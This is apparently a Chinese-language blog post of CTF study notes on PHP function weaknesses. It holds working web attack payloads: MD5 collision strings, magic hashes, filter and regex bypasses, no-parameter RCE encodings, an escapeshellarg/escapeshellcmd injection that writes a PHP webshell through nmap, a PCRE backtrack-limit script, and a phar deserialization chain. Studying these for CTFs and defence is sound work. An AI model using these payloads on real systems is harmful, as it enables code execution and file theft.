Ttoc's blog

必须从过去的错误学习教训,而非依赖过去的成功。

0%

PHP函数记录

还是挺重要的

PHP函数记录

1)php函数md5

ps.
sha1,由于此函数依赖的算法已不足够复杂,不推荐使用此函数对明文密码加密。目前大多用md5

但是和md5一样,sha1函数无法处理数组,遇到数组会返回NULL

做题时,了解到了一个新的函数md5

php md5函数介绍为:

md5( string , raw )

string : 规定需要计算的字符串

raw : 规定十六进制或二进制输出格式。

​ true:16字符二进制格式

​ false(默认): 32字符十六进制数

比较常用的

数字型:129581926211651571912466741651878684928

image-20220811135742130

字符型:ffifdyop

image-20220811135813137

发现都有’or‘的形式,可以构造必真的结果

MD5函数有一个漏洞,当输入的为数组时,会返回为NULL

所以当遇到md5(p1)===md5(p2),把p1和p2进行强比较时,又要求p1和p2不相等

由于两个不同的字符MD5值很难一致,于是输入p1[]和p2[]两个名字一致的字符,随便赋值,
p1[]=1&p2[]=2
返回为空,使得强比较成立


为什么会这样呢
我想起之前的遇到一个题,也有数组,问了一下大佬

大佬说,因为没有对数组中的元素数量声明,函数不知道数组元素第几个的值是1(或2)
导致函数到处扫,最后返回NULL【因为这个元素位置我们根本就没定】

下面举几个例子,以我个人理解
如果是
p1[0]=1&p2[0]=2
是可以的,因为只定义了0号位的数据,而且不相等,其他位置数据没定义,所以比较也不可能出现相等

p1[0]=1&p2[1]=1
是可以的,因为这里p1[]定义了0号位为1,而p2定义的是1号位为1,比较是按顺序比较的,两个数值虽然一样,但是位置不一样,所以比较还是不相等

1
2
3
4
5
6
7
8
9
下列的字符串的MD5值都是0e开头的:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s1091221200a
0e215962017 #用于绕过$md5==md5($md5),因为其MD5开头也是0e

强类型比较

遇到这种用数组绕过就不行了

(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])

1
2
3
4
5
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

2)php函数ereg,null截断

此函数在 PHP 5.3.0中已弃用,并在PHP 7.0.0中删除。

[所以遇到无法执行时,可能是出题人没有注意部署题目环境]

1
2
3
4
5
6
7
8
9
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

比如
ereg ("^[a-zA-Z]+$", $_GET['c'])

c=a%00123
ereg只会检测到第一个a为止,后面的数据都被%00截断了,从而绕过匹配

所以现在一般不再使用ereg,只是做为preg_match替代函数使用

3)php函数sleep

当遇到这种需要我们输入参数,但是让参数值必须很大,

而且最后又以这个参数执行sleep函数,就会让我们等很久

1
sleep((int)$time)

sleep()要延缓其程序执行的时间。

但是我们又不能等太久,可以构造php中的科学计数法绕过,就构造一个

time=0.3e7 (等价于0.3乘10的7次方)

这样它的值达到了判断的标准。

而且当它强制转化为整数型(int)的时候就会因为开头为0.3小数变成零,这样可以满足条件。

4)php函数is_numeric()

当遇到类似

0e..;1e;..2e..;...

函数会把其当作科学计数法

这样当遇到

1
2
3
if ($num == 0) {
if($num){
if(!is_numeric($time))

这种

第一个要弱类型为0

第二个要不为0才能执行真的判断

第三个要求其为数字

就可以用类似0e2,绕过这三个

5)eval()函数和system()函数的比较

记录一次在打靶机时,因为平常习惯用 eval()函数,但是靶机执行nc等命令时,eval()函数没有反应,就是因为其是代码执行,而非命令执行,所以把两者本质的用法搞懂还是很必要的

eval类型函数是代码执行而不是命令执行(一句话木马)

system类型函数是命令执行而不是代码执行

eval函数里必须是一个符合php语法的语句,如果语句结尾没有分号会报错:eval()’d code

6)PHPのmb系列函数返回值

https://github.com/php/php-src/issues/9008

它会导致奇怪的结果。

1
2
3
4
5
6
7
8
9
10
11
<?php
$string = "PHP";

mb_detect_order(["ASCII","UTF-8","BASE64"]);
var_dump(
mb_detect_encoding($string, null, true),
mb_detect_encoding($string, mb_detect_order(), true),

mb_convert_encoding($string, "UTF-8", "BASE64"),
mb_strtolower($string, "BASE64"),
?>

得到的结果发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Output for 8.2.0
string(5) "ASCII"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="

Output for 8.0.1 - 8.0.26, 8.1.10 - 8.1.13
string(5) "ASCII"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="

Output for 8.1.0 - 8.1.9
string(6) "BASE64"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="

mb_detect_encoding($string, null, true)返回值

只有在PHP版本在8.1.0 - 8.1.9时会返回base64,而在其他版本都是默认识别为ASCII

mb_detect_encoding()这类的函数对内容进行编码的识别,就是匹配内容中的一些符合编码的字符,匹配成功对应编码加分,最后从头到尾匹配完成后,打分最高的编码就被认为是该内容的编码

7)preg_match(‘/^$/‘)

因为preg_match只会去匹配第一行,所以这里可以用多行进行绕过

可以用%0a绕过,

比如,

1
preg_match('/^123$/',$a)

一般情况只有$a123时才可以通过,但是用换行符号%0a

就可以绕过,因为preg_match只匹配一行也就是123所在的一行,%0a在下一行所以绕过了

image-20230908170938509

8)phpinfo中session

看到session.upload_progress.enabled开启,说明开启session.upload_progress功能,这个功能在我们上传文件时可以把文件上传进度和信息存储在session中。

又看到session.upload_progress.cleanup开启,说明当文件上传结束后,php将会立即清空对应session文件中的内容。所以需要条件竞争。

看到session.save_path,可以看到session文件保存路径。

看到session.use_strict_mode关闭,说明用户可以自己定义自己的sessionid。假如说sessionid=zzzz,则文件上传后会在/tmp目录下生成一个sess_zzzz的文件。

9)strcmp

1
2
3
4
define('FLAG','pwnhub{this_is_flag}');
if(strcmp($_GET['flag'],FLAG) == 0){
echo "success,flag:".FLAG;
}

代码解释
脚本意思是get到的flag和FLAG的值相等,就可以得到FLAG,但我们都不知道flag值是什么,利用strcmp函数特点尝试使用数组绕过。令flag[]=xxx。

strcmp(string $str1,string $str2)

strcmp是比较两个字符串,如果str1<str2 则返回<0 如果str1大于str2返回>0 如果两者相等 返回0。

strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

flag[]=xxx –> strcmp比较出错 –> 返回null –> null==0 –> 条件成立得到flag

10)无参数 getshell

php7前是不允许用($a)(); 这种方法来执行动态函数。php7支持了该方式。

1
2
3
4
5
6
$c = 'phpinfo';

# 对 phpinfo 进行取反 再url编码输出
echo urlencode(~$c);

// %8F%97%8F%96%91%99%90

去请求

1
2
GET:
?code=(~%8F%97%8F%96%91%99%90)();

如果不让我们括号或者空白字符起手,那这里就涉及到另一种变种了比如phpinfo之前是(~%8F%97%8F%96%91%99%90)

(),就可以将换成中括号然后空字符换成!%FF,之后可以变成[~%8F%97%8F%96%91%99%90][!%ff],用数组的形式

去绕过,!%ff表示非,那这里肯定意思就是0了

11)error类|MD5绕过|eval执行

题目[极客大挑战 2020]Greatphp

https://syunaht.com/p/4128421624.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

在这里面,无法用数组进行md5绕过,所以可以用Error类绕过md5和sha1检测

Error类是php的原生类,当md5、sha1对类进行时,会触发类的__tostring魔术方法,而Error类的__tostring返回值是包含触发代码所处的行数,所以两个变量定义必须在同一行,如下测试$a$b

并且,然后由于Error的toString是无法完全控制的,会有其他输出,所以使用

?><?=

结束php从而完整控制整块代码

当然还有其他的原生类也可以用,这边可以用原生类Error或者Exception,只不过 Exception 类适用于PHP 5和7,而

Error 只适用于 PHP 7。

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$a = new Error("payload", 1);$b = new Error("payload", 2);//注意这里需要写在一行上
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if ($a != $b) {
echo "a!=b";
}
echo "<br>";
if (md5($a) === md5($b)) {
echo "md5相等" . "<br>";
}
if (sha1($a) === sha1($b)) {
echo "sha1相等";
}

a!=b

md5相等

sha1相等

这道题,

1
!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)

<?php()都过滤了

<? ?>相当于对<?php ?>的替换。而<?= ?>则是相当于<?php echo ... ?>

于是可以进行替换绕过,

于是第一行大概就有了,必须先闭合原有代码

1
$str = "?><?=

然后因为括号以及引号被过滤了,

所以system()和phpinfo()这些都不行,

但是如果直接包含读取文件,也需要引号,

我们直接用url取反绕过即可

1
$str = "?><?= include ~" . ~"/flag" . "?>";

12)escapeshellarg 和 escapeshellcmd

escapeshellarg 和 escapeshellcmd 两个函数在代码的注释里面已经解释了其用法。

也就是说在host变量里面我们不能使用 ; & | 等符号来执行多条命令,不过题目里面提示了我们RCE,同时对于这两个函数简单查找了之后,发现两个一起使用的时候存在漏洞

漏洞解释链接如下:

http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

简单来说

传入的参数是:172.17.0.2' -v -d a=1

经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号

转义,再用单引号将左右两部分括起来从而起到连接的作用。

经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为

escapeshellcmd\以及最后那个不配对儿的引号进行了转义

最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\被解释为\而不再是转义字符,

所以后面的’没有被转义,与再后面的’配对儿成了一个空白连接符。所以可以简化为curl

172.17.0.2\ -v -d a=1’,即向172.17.0.2\发起请求,POST 数据为a=1’。

 所以经过我们构造之后,输入的值被分割成为了三部分,第一部分就是curl的IP,为172.17.0.2\ ,第二部分就是两个配对的单引号 ‘ ‘ ,第三部分就是命令参数以及对象 -v -d a=1’

于是我们可以参数绕过这两个过滤函数。

同时,为了构造命令读取flag,我们应当从nmap入手,查资料可以知道,nmap有一个参数-oG可以实现将命令和结果写到文件

所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag

构造的payload为:

1
?host``=``' <?php echo phpinfo();?> -oG test.php '

13)利用PCRE回溯次数限制绕过某些安全限制

PHP为了防止DOS攻击。给pcre设置了一个回溯上限。默认是100万PHP < 5.3.7
var_dump(ini_get('pcre.backtrack_limit'))
当待匹配的字符串超过100W,函数就会返回False。也就没未匹配到字符。
那么就可以绕过判断执行恶意代码

1
2
3
4
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://xxxx/", data={"cmd":payload})
print(res.text)

putenv(‘PATH=/home/rceservice/jail’),jail应用于当前环境,

只允许使用绝对路径执行命令,比如/bin/cat,而不能用cat

14)basename

basename可以理解为对传入的参数路径截取最后一段作为返回值,但是该函数发现最后一段为不可见字符时会退取上一层的目录,即:

1
2
3
4
$var1="/config.php/test"
basename($var1) => test
$var2="/config.php/%ff"
basename($var2) => config.php

15)phar反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class C1e4r
{
public $str;
public function __construct()
{
$this->str = new Show();
}
}

class Show
{
public $str;
public function __construct()
{
$this->str['str']=new Test();
}
}
class Test
{
public $params;
public function __construct()
{
$this->params['source']="/var/www/html/f1ag.php";
#不知道为啥这里路径采用f1ag.php就读取不了
#可能是当前目录不在/var/www/html下,但是那又会在哪a...
}
}
#$a=new C1e4r();

$phar =new Phar("awsl.phar");
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");
$a=new C1e4r();
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

读取上传的文件,phar://【上传的文件后的名字并且包括路径】

16)json_decode

1
2
$body = file_get_contents('php://input');
$json = json_decode($body, true);

json解析时的关键字过滤可以采用unicode编码,json是支持用unicode编码直接表示对应字符的,如下两个写法是等价的。

1
2
{"poc":"php"}
{"poc":"\u0070\u0068\u0070"}

至于结果的过滤就好办了,采用php伪协议的filter进行下base64编码就好了,最终构造如下payload:

1
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

17)取反/异或 绕过无参RCE

与字串相同长度的%ff异或相当于取反

1
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo